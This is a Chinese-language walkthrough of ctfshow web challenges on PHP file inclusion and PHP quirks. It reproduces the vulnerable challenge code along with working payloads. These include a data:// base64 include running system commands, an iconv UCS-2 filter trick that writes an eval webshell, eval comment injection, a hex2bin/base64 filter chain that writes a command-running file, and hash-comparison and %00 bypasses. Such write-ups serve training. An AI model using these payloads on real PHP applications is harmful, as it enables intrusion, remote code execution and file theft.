if ( isset ( $_GET [ 'file' ])){
$file = $_GET [ 'file' ];
if ( preg_match ( "/php|\~|\!|\@|\#| \\$ |\%| \^ |\&|\ * |\(|\)|\-|\_|\ + |\=| \. /i" , $file )){
die ( "error" );
}
include ( $file );
} else {
highlight_file ( __FILE__ );
}
直接 data:
?file=data: //text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==
//这里要记得删除==
// <?php system('tac f*'); ?>
flag:
ctfshow {f0bb7333-08ba-4918-a6fb-70f7b8492e56}
web116 (foremost + 传参)下载视频进行 foremost 得到源码:
<?php
function filter ( $x ){
if ( preg_match ( '/http|https|data|input|rot13|base64| string/log/|sess/i' , $x )){
die ( 'too young too simple sometimes native! ' );
}
}
$file = isset ( $_GET [ 'file' ])? $_GET [ 'file' ] : "sp2.mp4" ;
header ( ' Content-Type: video/mp4 ' );
filter ( $file );
echo file_get_contents ( $file );
?>
flag:
ctfshow {af530486-e4cb-4069-a45c-11360a2702e5}
web117 (ucs-2 编码绕过) <?php
highlight_file ( __FILE__ );
error_reporting ( 0 );
function filter ( $x ){
if ( preg_match ( '/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i' , $x )){
die ( 'too young too simple sometimes naive!' );
}
}
$file = $_GET [ 'file' ];
$contents = $_POST [ 'contents' ];
filter ( $file );
file_put_contents ( $file , "<?php die();?>" . $contents );
这里过滤了 string、base64 和 rot13 让 filter 的抹除 die 方法用不了,过滤的 log、sess 让包含日志文件也无法使用……
这里需要更多的编码方式了:ucs-2 编码
convert.iconv 过滤器:
这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用 convert.iconv.* 过滤器等同于用 iconv () 函数处理所有的流数据。 然而 我们可以留意到 iconv — 字符串按要求的字符编码来转换;
其用法:iconv (string $in_charset , string $out_charset , string $str)
string 将字符串 str 从 in_charset 转换编码到 out_charset。 就其功能而论,有点类似于 base_convert 的功效一样,只不过二者还是有作用的区别,只是都是涉及编码转换的问题而已(可以类比)
那么我们就可以借用此过滤器,从而进行编码的转换,写入我们需要的代码,然后转换掉死亡代码,其实本质上来说也是利用了编码的转换。
usc-2:通过 usc-2 的编码进行转换,对目标字符串进行 2 位一反转。如此,所以字符的数目需要保持为偶数。
<?php
echo iconv ( "UCS-2LE" , "UCS-2BE" , '<?php @eval($_POST[ok]);?>' );
?>
输出为:?<hp pe@av (l_$OPTSo [] k;)>?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 payload:
// ucs大小写没有要求,大小写都可以
// 记得参数要是两位,比如:ok
get:?file=php: //filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=v.php
post:contents=?<hp pe@ av (l_ $OPTSo []k;)>?
// 访问v.php后
post: ok= system ( 'tac f*' );
// 这下面不懂
// 原理和rot13一样,两次转换后变成了原来的样子
echo iconv ( "UCS-2LE" , "UCS-2BE" , '<?php die();?>?<hp pvela$(P_SO[T]1;)>?' );
// 输出如下,使得die失效,并且我们的一句话木马可以使用
?<hp pid (e;)>?<?php eval ( $_POST [ 1 ]);?>
flag:
ctfshow {09148130-9a5b-469c-8be8-9511ce8be9ca}
php 特性 web89 (intval 数组绕过) <?php
include ( "flag.php" );
highlight_file ( __FILE__ );
if ( isset ( $_GET [ 'num' ])){
$num = $_GET [ 'num' ];
if ( preg_match ( "/[0-9]/" , $num )){
die ( "no no no!" );
}
if ( intval ( $num )){
echo $flag ;
}
}
这里是要传参 num 但是不能为数字,取整要有返回值。查 intval 方法可以知道,空的 array 返回 0,非空的 array 返回 1
payload:
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
flag:
ctfshow{ 7 dbb40d2- 047 c- 4225 - 98 b3- 1790 aa2b9257}
web90 (intval 进制转换绕过) <?php
include ( "flag.php" );
highlight_file ( __FILE__ );
if ( isset ( $_GET [ 'num' ])){
$num = $_GET [ 'num' ];
if ( $num === "4476" ){
die ( "no no no!" );
}
if ( intval ( $num , 0 )=== 4476 ){
echo $flag ;
} else {
echo intval ( $num , 0 );
}
}
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则, 如果字符串以 "0" 开始,使用 8 进制 (octal);否则, 将使用 10 进制 (decimal)。 可以用进制转换绕过一下 if:
十进制数为:4476
转换为二进制为:0b1000101111100
转换为八进制为:0o10574
转换为十六进制为:0x117c
用 8 进制或者 16 进制都可以
ctfshow{ 198 f07e3- 96 ad- 495 a- 94 bc- 0 f395c103518}
web91 (不同模式匹配理解)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php
# -*- coding: utf-8 -*-
show_source ( __FILE__ );
include ( 'flag.php' );
$a = $_GET [ 'cmd' ];
if ( preg_match ( '/ ^ php $ /im' , $a )){
if ( preg_match ( '/ ^ php $ /i' , $a )){
echo 'hacker' ;
}
else {
echo $flag ;
}
}
else {
echo 'nonononono' ;
}
Notice: Undefined index: cmd in / var /www/html/index . php on line 15
nonononono
^ 匹配输入字符串的开始位置。在字符域 [] 中表示取反,如 \w 等于 '\w'; 而 \w 表示以单词字符开头。
$ 匹配输入字符串的结束位置。例 '\w$' 表示以单词字符结尾。
定界符最后会有一个字母,通常是 /i,这个 i 是模式修正符。
i 表示在和模式进行匹配进不区分大小写
其中 m 将模式视为多行,使用 ^ 和 $ 表示任何一行都可以以正则表达式开始或结束。
这里第一条正则,匹配开始为 php 结尾为 php,也就是说只能是 php;这两句匹配只有匹配模式的不同
于是构造 payload:
由于多行模式可以匹配多行中是否存在满足情况的字符串,于是 url 一个 %0a 进行换行,这样依然能多行匹配到 php,使得第一个 if 成立,而第二个 if 为单行匹配只能匹配到换行字符不能匹配到 php 于是成功绕过。
flag:
ctfshow{ 63755 b98- 08 b7- 4 af2- 9382 -b17a91cdcad3}
web92 (intval 小数点截断绕过)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php
# -*- coding: utf-8 -*-
include ( "flag.php" );
highlight_file ( __FILE__ );
if ( isset ( $_GET [ 'num' ])){
$num = $_GET [ 'num' ];
if ( $num == 4476 ){
die ( "no no no!" );
}
if ( intval ( $num , 0 )== 4476 ){
echo $flag ;
} else {
echo intval ( $num , 0 );
}
}
这个由强比较变成了弱比较,可以小数点截断绕过:
flag:
ctfshow{ 85983 d0c-a2e6- 4515 - 8246 -f1e54822ab25}
web93 (intval 小数点截断)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php
# -*- coding: utf-8 -*-
include ( "flag.php" );
highlight_file ( __FILE__ );
if ( isset ( $_GET [ 'num' ])){
$num = $_GET [ 'num' ];
if ( $num == 4476 ){
die ( "no no no!" );
}
if ( preg_match ( "/[a-z]/i" , $num )){
die ( "no no no!" );
}
if ( intval ( $num , 0 )== 4476 ){
echo $flag ;
} else {
echo intval ( $num , 0 );
}
}
payload:
flag:
ctfshow{ 681611 f8-e9c3- 4 b1e-b149-fe1936e7ff60}
web94 (intval 小数点截断)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php
# -*- coding: utf-8 -*-
include ( "flag.php" );
highlight_file ( __FILE__ );
if ( isset ( $_GET [ 'num' ])){
$num = $_GET [ 'num' ];
if ( $num === "4476" ){
die ( "no no no!" );
}
if ( preg_match ( "/[a-z]/i" , $num )){
die ( "no no no!" );
}
if (! strpos ( $num , "0" )){
die ( "no no no!" );
}
if ( intval ( $num , 0 )=== 4476 ){
echo $flag ;
}
}
这里要注意一下这个 strpos ($a,b) 函数,这个函数是查找 b 在字符串中第一次出现的位置
语法:strpos(string,find,start)
string是必需的,被搜索的字符串
find必需,规定目标字符串
start可选,规定在何处开始
注意:strpos对大小写敏感
其他相关函数还有:
于是构造 payload:
flag:
ctfshow{b2949faa- 0e74 - 4e56 - 8 cce- 8 b81d18cd6ff}
web95 (弱比较 + 进制转换)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php
# -*- coding: utf-8 -*-
include ( "flag.php" );
highlight_file ( __FILE__ );
if ( isset ( $_GET [ 'num' ])){
$num = $_GET [ 'num' ];
if ( $num == 4476 ){
die ( "no no no!" );
}
if ( preg_match ( "/[a-z]| \. /i" , $num )){
die ( "no no no!!" );
}
if (! strpos ( $num , "0" )){
die ( "no no no!!!" );
}
if ( intval ( $num , 0 )=== 4476 ){
echo $flag ;
}
}
这里过滤了字母,也转义过滤了小数点
payload:
这里改成 10574 是八进制的 4476,第一层过滤会认为这个是十进制从而不等于 4476,第二层过滤也很轻松突破,第三层过滤我有点疑惑其实:
<?php
# -*- coding: utf-8 -*-
$num = + 010574 ;
if ( strpos ( $num , "0" )){
echo "got it!" ;
}
else {
echo "long way to go, boy~" ;
}
echo intval ( $num , 0 );
这里测试了 num=010574 和 num=+010574 的区别,只有后者能被查找到 "0",前者确实不能被查找到 "0",观察输出我发现,如果不带 + 或者空格的话,num 就直接被解析成 4476,从而导致 strpos 不能查找到,加上之后整体数据变成了字符串。而被加上这个字符之后(其实 + 被提交过去也是解析成空格)intval 会将其删除进行取整。
flag:
ctfshow{ 3517 fa1b- 7936 - 428 b- 80 f0- 7 ccd84b18f87}
web96 (报错回显传参路径) <?php
# -*- coding: utf-8 -*-
highlight_file ( __FILE__ );
if ( isset ( $_GET [ 'u' ])){
if ( $_GET [ 'u' ]== 'flag.php' ){
die ( "no no no" );
} else {
highlight_file ( $_GET [ 'u' ]);
}
}
因为这里只是一个弱比较比对值是否等于 flag.php 而不是一个正则匹配,于是我们可以随便写一个文件名字,得到报错回显,将路径复制构造 payload:
?u=/ var /www/html/flag . php
于是得到 flag:
ctfshow{c81434bf- 44 dd- 47 a0- 9 c9a-b75333ba52c4}
web97 (md5 数组绕过) <?php
# -*- coding: utf-8 -*-
include ( "flag.php" );
highlight_file ( __FILE__ );
if ( isset ( $_POST [ 'a' ]) and isset ( $_POST [ 'b' ])) {
if ( $_POST [ 'a' ] != $_POST [ 'b' ])
if ( md5 ( $_POST [ 'a' ]) === md5 ( $_POST [ 'b' ]))
echo $flag ;
else
print 'Wrong.' ;
}
?>
很经典的一个前不等 md5 再等(注意这里是强比较),payload:
flag:
ctfshow{ 28e448 bd-ed0c- 4967 - 9e02 - 683137313e70 }
web98 (? 三元运算符理解)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
Notice: Undefined index: flag in / var /www/html/index . php on line 15
Notice: Undefined index: flag in / var /www/html/index . php on line 16
Notice: Undefined index: HTTP_FLAG in / var /www/html/index . php on line 17
<?php
# -*- coding: utf-8 -*-
include ( "flag.php" );
$_GET ? $_GET = & $_POST : 'flag' ;
$_GET [ 'flag' ]== 'flag' ? $_GET = & $_COOKIE : 'flag' ;
$_GET [ 'flag' ]== 'flag' ? $_GET = & $_SERVER : 'flag' ;
highlight_file ( $_GET [ 'HTTP_FLAG' ]== 'flag' ? $flag : __FILE__ );
?>
这里考三元符运算 bool?true:false
首先判断逻辑,记第一行为文件包含。
第二行如果 $_GET存在,则执行$_GET被引用赋值$_POST ,若不存在则式子为 'flag' 。被赋值为flag这样一来get是没有flag下标的,导致后面两行判断不会成立,get值还是flag,但没有下标,这个时候也就没有 $_GET [ 'HTTP_FLAG' ]== 'flag' 的可能了。
所以get传参是必需的。(以下探讨均为get存在情况)
get传参存在,此时get将会被引用赋值,变成post,post传参决定下标也决定值。
1. 如果post传flag= x (x为不等于flag的其他字符串),此时下标满足flag,但是值并不满足,第三行判断不成立,则post被赋值为flag,这个时候下标满足且值也因此满足第四行 $_GET [ 'flag' ]== 'flag' ? $_GET = & $_SERVER : 'flag' 判断。满足第四行判断之后,则get被引用赋值 $_SERVER ,而这个变量事不可控的,是由服务器生成的,很难突破最后的判断拿到flag,故舍弃。
2. 如果post传flag= flag,此时下标和值均满足第三行判断,则get再次被cookie赋值 (覆盖赋值)。这里又有分支:
( 1 )如果cookie为空,则get变空,无下标无值,所有条件都不成立,所以cookie在这种情况下也是必需的。
( 2 )如果cookie不为空,则根据最后一条判断综合分析,我们应该要使第四行判断不成立,cookie可以写为:
HTTP_FLAG:flag 此时不满足第四行判断但满足最后判断,可以拿到flag。
于是得到解题步骤:
1. 传get参数,可任意,如a=a
2. 传post参数,flag=flag
3. 添加修改cookie值,HTTP_FLAG:flag
flag:
ctfshow{ 5 a72c303- 5 c9d- 44 db-af0c-bfb2d9d703cd}
web99 (随机写入文件) <?php
# -*- coding: utf-8 -*-
highlight_file ( __FILE__ );
$allow = array ();
for ( $i = 36 ; $i < 0x36d ; $i ++) {
array_push ( $allow , rand ( 1 , $i ));
}
if ( isset ( $_GET [ 'n' ]) && in_array ( $_GET [ 'n' ], $allow )){
file_put_contents ( $_GET [ 'n' ], $_POST [ 'content' ]);
}
?>
这里的 array_push 可以插入元素到数组尾部,返回值为元素个数。
array_push ( array ,value1,value2...)
参数 描述
array 必需。规定一个数组。
value1 必需。规定要添加的值。
value2 可选。规定要添加的值。
返回值: 返回新数组的元素个数。
rand 函数则是生成随机数
rand ();
or
rand (min,max);
参数 描述
min 可选。规定返回的最小数。默认是 0 。
max 可选。规定返回的最大数。默认是 getrandmax ()。
返回值: 介于 min(或 0 )与 max(或 mt_getrandmax ())之间(包括边界值)的随机整数。
返回类型: Integer
in_array 则是搜索数组中是否存在目标值
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
参数 描述
needle 必需。规定要在数组搜索的值。
haystack 必需。规定要搜索的数组。
strict 可选。如果该参数设置为 TRUE ,则 in_array () 函数检查搜索的数据与数组的值的类型是否相同。
file_put_contents 在这里则是以 n 为文件名写入 post 参数 content 的值,经过测试 1.php 是存在的,那么直接写入一句话:
访问之后成功写入,直接找 flag:
1 = system ( 'ls' );
>> 1. php flag36d . php index . php
1 = system ( 'tac flag36d.php' );
>> $flag = "ctfshow{8d2eba32-d385-48ba-b643-b33e62d2efa0}" ; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-16 11:25:00 # @Last Modified by: h1xa # @Date: 2020-09-16 11:24:37 # @Author: h1xa # -*- coding: utf-8 -*- /*
web100 (运算优先级 + 0x2d 替换)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php
# -*- coding: utf-8 -*-
highlight_file ( __FILE__ );
include ( "ctfshow.php" );
//flag in class ctfshow;
$ctfshow = new ctfshow ();
$v1 = $_GET [ 'v1' ];
$v2 = $_GET [ 'v2' ];
$v3 = $_GET [ 'v3' ];
$v0 = is_numeric ( $v1 ) and is_numeric ( $v2 ) and is_numeric ( $v3 );
if ( $v0 ){
if (! preg_match ( "/\;/" , $v2 )){
if ( preg_match ( "/\;/" , $v3 )){
eval ( " $v2 ('ctfshow') $v3 " );
}
}
}
?>
Notice: Undefined index: v1 in / var /www/html/index . php on line 17
Notice: Undefined index: v2 in / var /www/html/index . php on line 18
Notice: Undefined index: v3 in / var /www/html/index . php on line 19
这里稍微注意一下运算优先级:
赋值运算是高于逻辑运算的,所以这里的 v2 和 v3 哪怕是 false 也没有太大影响。
由于 eval () 函数里面将括号闭合了,参数已经写死,这个参数是很难被使用的,所以我们想能不能将这个参数给注释掉,而且 v2,v3 是可以随便写字符串的于是尝试构造:
?v1= 1 & v2= eval ( $_POST [ 1 ]) /*&v3=*/ ;
post: 1 = system ( 'tac ctfshow.php' );
得到 flag:
$flag_is_6930fa600x2db48e0x2d4e460x2d8c0c0x2d0fb1d57873d2 ;
其中 0x2d 是 ascii 码破折号,所以完整正确的 flag 是:
ctfshow{ 6930 fa60-b48e- 4e46 - 8 c0c- 0 fb1d57873d2}
web101 (原生的反射类 Reflectionclass 利用)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php
# -*- coding: utf-8 -*-
# @Author: h1xa
highlight_file ( __FILE__ );
include ( "ctfshow.php" );
//flag in class ctfshow;
$ctfshow = new ctfshow ();
$v1 = $_GET [ 'v1' ];
$v2 = $_GET [ 'v2' ];
$v3 = $_GET [ 'v3' ];
$v0 = is_numeric ( $v1 ) and is_numeric ( $v2 ) and is_numeric ( $v3 );
if ( $v0 ){
if (! preg_match ( "/ \\\\ |\/|\~|\`|\!|\@|\#| \\$ |\%| \^ |\ * |\)|\-|\_|\ + |\=| \{ | \[ | \" |\'|\,| \. |\;|\?|[0-9]/" , $v2 )){
if (! preg_match ( "/ \\\\ |\/|\~|\`|\!|\@|\#| \\$ |\%| \^ |\ * |\(|\-|\_|\ + |\=| \{ | \[ | \" |\'|\,| \. |\?|[0-9]/" , $v3 )){
eval ( " $v2 ('ctfshow') $v3 " );
}
}
}
?>
Notice: Undefined index: v1 in / var /www/html/index . php on line 17
Notice: Undefined index: v2 in / var /www/html/index . php on line 18
Notice: Undefined index: v3 in / var /www/html/index . php on line 19
这题多了很多匹配, 确实也不会。
这里用官方解的话,是进行一个反射,将类反射出来。
了解反射类可以参考这篇文章:https://www.cnblogs.com/Renyi-Fan/p/14683547.html
payload:
?v1= 1 & v2= echo new Reflectionclass & v3=;
flag 依旧要替换 0x2d:
ctfshow{e93849b9- 9 c61- 4 c90- 8 bbd-a97af030b0d}
这里发现少一位,说明在末尾的 d 后面还有一位(试出来):
ctfshow{e93849b9- 9 c61- 4 c90- 8 bbd-a97af030b0d0}
web102 (call_user_func 理解 + hex2bin 利用)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php
# -*- coding: utf-8 -*-
# @Author: atao
highlight_file ( __FILE__ );
$v1 = $_POST [ 'v1' ];
$v2 = $_GET [ 'v2' ];
$v3 = $_GET [ 'v3' ];
$v4 = is_numeric ( $v2 ) and is_numeric ( $v3 );
if ( $v4 ){
$s = substr ( $v2 , 2 );
$str = call_user_func ( $v1 , $s );
echo $str ;
file_put_contents ( $v3 , $str );
}
else {
die ( 'hacker' );
}
?>
Notice: Undefined index: v1 in / var /www/html/index . php on line 14
Notice: Undefined index: v2 in / var /www/html/index . php on line 15
Notice: Undefined index: v3 in / var /www/html/index . php on line 16
hacker
这里注意几个函数: substr () 函数返回一部分字符串
定义:substr (string, start, length)
string 必需。规定要返回其中一部分的字符串。 start 必需。规定在字符串的何处开始。 正数 - 在字符串的指定位置开始 负数 - 在从字符串结尾开始的指定位置开始 0 - 在字符串中的第一个字符处开始 length 可选。规定被返回字符串的长度。默认是直到字符串的结尾。 正数 - 从 start 参数所在的位置返回的长度 负数 - 从字符串末端返回的长度
call_user_func () 会把第一个参数作为回调函数调用,具体实例可以参考这篇文章 call_user_func () 使用方法
进行代码审计
1.if(v4) 要成立肯定需要 v2 为数字,而且从第三位开始应该要构造一个能拿到 flag 的语句,因为是数字,那可以尝试字符串转数字(<?=cat *
;),而转为数字之后又要让 call_user_func 在这个调用时能够被识别,可以想到用 base64decode,即 php://filter 伪协议。
2.s 被赋值 v2 的第三个字符后 (包括第三个字符) 的所有字符
3.call_user_func 会调用 v1 类中的 s 方法或者调用方法 v1 而 s 作为方法中的变量进行调用
4.$str 会被打印输出,我们可以通过这个进行检查
5.file_put_contents 将会以 v3 作为文件名写入 str
构造 payload:
v2构造要先构造<?= `cat *` 的base64结果:
<?= `cat *` -> PD89YGNhdCAqYDs =
之后base64要转为数字:
PD89YGNhdCAqYDs= -> 5044383959474e68644341715944733 d
上传之后发现过不了,仔细审查发现这里转数字之后除了e之外还有d,导致不能识别为数字,由于base64里等号是用来补齐的,没有实际意义,删除等号之后再构建:
PD89YGNhdCAqYDs -> 5044383959474e6864434171594473
则构造如下:
get:
v2= 115044383959474e6864434171594473
v3=php: //filter/write=convert.base64-decode/resource=1.php
post:
v1=hex2bin
hex2bin () 定义和用法
hex2bin () 函数把十六进制值的字符串转换为 ASCII 字符。
语法
技术细节
返回值: 返回被转换字符串的 ASCII 字符,如果失败则返回 FALSE。 PHP 版本: 5.4.0+ 更新日志: 自 PHP 5.4.1 起,如果字符串长度为奇数,则抛出一个警告。在 PHP 5.4.0 中,奇数字符串被默默接受,但是最后一个字节会被移除。自 PHP 5.5.1 起,如果字符串是无效的十六进制字符串,则抛出一个警告。
其实这里 v1 转出 ascii 码之后也就是我们的 base64:
<?php
$hex = hex2bin ( "5044383959474e6864434171594473" );
var_dump ( $hex );
?>
// string(15) "PD89YGNhdCAqYDs"
// 进程已结束,退出代码0
按上面的构造传参之后访问 1.php 查看源代码即可拿到 flag:
ctfshow{ 8 d21a5ac-c888- 491e-9998 - 781e056 ea179}
web103 (call_user_func 理解 + hex2bin 利用)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php
# -*- coding: utf-8 -*-
# @Author: atao
highlight_file ( __FILE__ );
$v1 = $_POST [ 'v1' ];
$v2 = $_GET [ 'v2' ];
$v3 = $_GET [ 'v3' ];
$v4 = is_numeric ( $v2 ) and is_numeric ( $v3 );
if ( $v4 ){
$s = substr ( $v2 , 2 );
$str = call_user_func ( $v1 , $s );
echo $str ;
if (! preg_match ( "/. * p. * h. * p. * /i" , $str )){
file_put_contents ( $v3 , $str );
}
else {
die ( 'Sorry' );
}
}
else {
die ( 'hacker' );
}
?>
Notice: Undefined index: v1 in / var /www/html/index . php on line 14
Notice: Undefined index: v2 in / var /www/html/index . php on line 15
Notice: Undefined index: v3 in / var /www/html/index . php on line 16
hacker
这道题比上道题多了对 $str 的过滤,匹配了 php,这并不阻碍我们进行 cat。
解题步骤同上题(参数都不用改的那种)。
flag:
ctfshow{ 93 ead8b1-f51c- 4e9 e- 8e62 -edc121bf108e}
web104 (sha1 加密理解)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php
# -*- coding: utf-8 -*-
# @Author: atao
highlight_file ( __FILE__ );
include ( "flag.php" );
if ( isset ( $_POST [ 'v1' ]) && isset ( $_GET [ 'v2' ])){
$v1 = $_POST [ 'v1' ];
$v2 = $_GET [ 'v2' ];
if ( sha1 ( $v1 )== sha1 ( $v2 )){
echo $flag ;
}
}
?>
这里的 sha1 () 函数是计算字符串的 SHA-1 散列,默认是输出 40 字符十六进制数
语法
参数 描述 string 必需。规定要计算的字符串。 raw 可选。规定十六进制或二进制输出格式:TRUE - 原始 20 字符二进制格式 FALSE - 默认。40 字符十六进制数
技术细节
返回值: 如果成功则返回已计算的 SHA-1 散列,如果失败则返回 FALSE。 PHP 版本: 4.3.0+ 更新日志: 在 PHP 5.0 中,raw 参数变成可选的。
SHA-1 的绕过可以看这篇文章:https://www.cnblogs.com/king-kb/p/15531476.html
payload:
get:v2=aaroZmOk
post:v1=aaK1STfY
flag:
ctfshow{bb9152f0- 595 d- 4e28 -a69f- 8 b475604481d}
web105 (变量覆盖)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php
# -*- coding: utf-8 -*-
# @Author: Firebasky
highlight_file ( __FILE__ );
include ( 'flag.php' );
error_reporting ( 0 );
$error = '你还想要flag嘛?' ;
$suces = '既然你想要那给你吧!' ;
foreach ( $_GET as $key => $value ){
if ( $key === 'error' ){
die ( "what are you doing?!" );
}
$$key = $$value ;
} foreach ( $_POST as $key => $value ){
if ( $value === 'flag' ){
die ( "what are you doing?!" );
}
$$key = $$value ;
}
if (!( $_POST [ 'flag' ]== $flag )){
die ( $error );
}
echo "your are good" . $flag . " \n " ;
die ( $suces );
?>
你还想要flag嘛?
这道题利用的是变量覆盖,可参考文章:PHP 变量覆盖
看懂变量覆盖原理之后的复盘:
题目首先定义并初始化两个变量,并且在 foreach 中也写出了 $$ 很明显就是变量覆盖了。怎么覆盖呢?第一个 foreach 循环将 get 传参赋给 $$key 且这里 value 也是双 $$,可以构造两个变量覆盖。然后再找打印输出的,发现 post 不匹配 flag 内容(怎么可能会匹配)就会 die 输出 $error,那么怎么连起来 error 和 suces?发现 post 传参中也有变量覆盖可以利用。到这里思路清晰了:
1. 将 suces 覆盖赋值为 flag 的值
2. 将 error 覆盖赋值为 suces
payload:
get:?suces=flag
post:error=suces
flag:
ctfshow{abe208aa- 64 d4- 47 be- 8 dd3-d866cbbc67f9}
web106 (sha1 理解)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php
# -*- coding: utf-8 -*-
# @Author: atao
highlight_file ( __FILE__ );
include ( "flag.php" );
if ( isset ( $_POST [ 'v1' ]) && isset ( $_GET [ 'v2' ])){
$v1 = $_POST [ 'v1' ];
$v2 = $_GET [ 'v2' ];
if ( sha1 ( $v1 )== sha1 ( $v2 ) && $v1 != $v2 ){
echo $flag ;
}
}
?>
没什么好说的,一样的题。payload:
get:v2=aaroZmOk
post:v1=aaK1STfY
flag:
ctfshow{adfb1a68- 3 de8- 471 f-ad67-bcadef44d2a2}
web107 (parse_str 理解 + md5 绕过)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php
# -*- coding: utf-8 -*-
# @Author: h1xa
highlight_file ( __FILE__ );
error_reporting ( 0 );
include ( "flag.php" );
if ( isset ( $_POST [ 'v1' ])){
$v1 = $_POST [ 'v1' ];
$v3 = $_GET [ 'v3' ];
parse_str ( $v1 , $v2 );
if ( $v2 [ 'flag' ]== md5 ( $v3 )){
echo $flag ;
}
}
?>
所以这里只要构造 post 的 v1=flag=0 和?v3=QNKCDZO(md5 后为 0 的科学计数法)
flag:
ctfshow{d346c3f3- 8919 - 412 e-b1ed- 81 b20453b934}
web108 (ereg 绕过 %00 截断)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php
# -*- coding: utf-8 -*-
# @Author: h1xa
highlight_file ( __FILE__ );
error_reporting ( 0 );
include ( "flag.php" );
if ( ereg ( "^[a-zA-Z]+$" , $_GET [ 'c' ])=== FALSE ) {
die ( 'error' );
}
//只有36d的人才能看到flag
if ( intval ( strrev ( $_GET [ 'c' ]))== 0x36d ){
echo $flag ;
}
?>
error
ereg () 函数是一个老版本的用来进行正则匹配的函数,具体可以看这篇文章:
PHP ereg () 用法及代码示例
strrev () 函数反转字符串。
这里 ereg 匹配是要成立的,也就是说我们只能输入字母,不能有数字或别的字符,且我们传入的参数经过逆转要等于 0x36d,这就太难构造了,所以想办法突破 ereg 匹配:
ereg () 函数存在 NULL 截断漏洞,当传入的字符串包含 %00 时,只有 %00 前的字符串会传入函数并执行,而后半部分不会传入函数判断。 因此可以使用 **%00 截断,连接非法字符串,从而绕过函数 **
payload:
flag:
ctfshow{ 2 ac1cb29-e52b- 41 b0-a0df- 6725435 f9477}
web109 (原生类利用 rce)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php
# -*- coding: utf-8 -*-
# @Author: h1xa
highlight_file ( __FILE__ );
error_reporting ( 0 );
if ( isset ( $_GET [ 'v1' ]) && isset ( $_GET [ 'v2' ])){
$v1 = $_GET [ 'v1' ];
$v2 = $_GET [ 'v2' ];
if ( preg_match ( '/[a-zA-Z] + /' , $v1 ) && preg_match ( '/[a-zA-Z] + /' , $v2 )){
eval ( "echo new $v1 ( $v2 ());" );
}
}
?>
这里主要是这一句:
eval ( "echo new $v1 ( $v2 ());" );
这里 v1 只能用 php 原生类,因为 new 在前,代码中没有别的自定义类可用。
$v2 可以让我们 new 一个方法,并在方法参数中写入非法语句,只需要把后面的多余括号和别的字符补上、注释即可。理论来讲,任何原生类都是可行的。比如之前用到的反射类 Reflectionclass
payload:
?v1=Reflectionclass & v2= system ( 'ls' )); //
cat 这个 fl36d.txt 就行。
web110 (原生类利用 + 真无参数 rce)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php
# -*- coding: utf-8 -*-
# @Author: h1xa
highlight_file ( __FILE__ );
error_reporting ( 0 );
if ( isset ( $_GET [ 'v1' ]) && isset ( $_GET [ 'v2' ])){
$v1 = $_GET [ 'v1' ];
$v2 = $_GET [ 'v2' ];
if ( preg_match ( '/ \~ | \` | \! | \@ | \# | \\$ | \% | \^ | \& | \* | \( | \) | \_ | \- | \+ | \= | \{ | \[ | \; | \: | \" | \' | \, | \. | \? | \\\\ | \/ |[0-9]/' , $v1 )){
die ( "error v1" );
}
if ( preg_match ( '/ \~ | \` | \! | \@ | \# | \\$ | \% | \^ | \& | \* | \( | \) | \_ | \- | \+ | \= | \{ | \[ | \; | \: | \" | \' | \, | \. | \? | \\\\ | \/ |[0-9]/' , $v2 )){
die ( "error v2" );
}
eval ( "echo new $v1 ( $v2 ());" );
}
?>
这里重要的还是最后一个语句
eval ( "echo new $v1 ( $v2 ());" );
但是由于过滤掉这么多,只允许我们输入纯字母,那么这里就是真无参数 rce
首先想,这是否可以进行一个扫目录,用 scandir 这种?结果查了下文档,发现并不是类,是个方法,用不了了。
但是思路应该是没错的,因为直接读文件是不太现实的。也就是说我们现在需要找到一个类,tostring 能打印输出,而且方法中也能遍历目录。
首先找到一个是 FilesystemIterator,其中有 DirectoryIterator::__toString
FilesystemIterator extends DirectoryIterator implements
Example #1 A *DirectoryIterator::__toString()* example
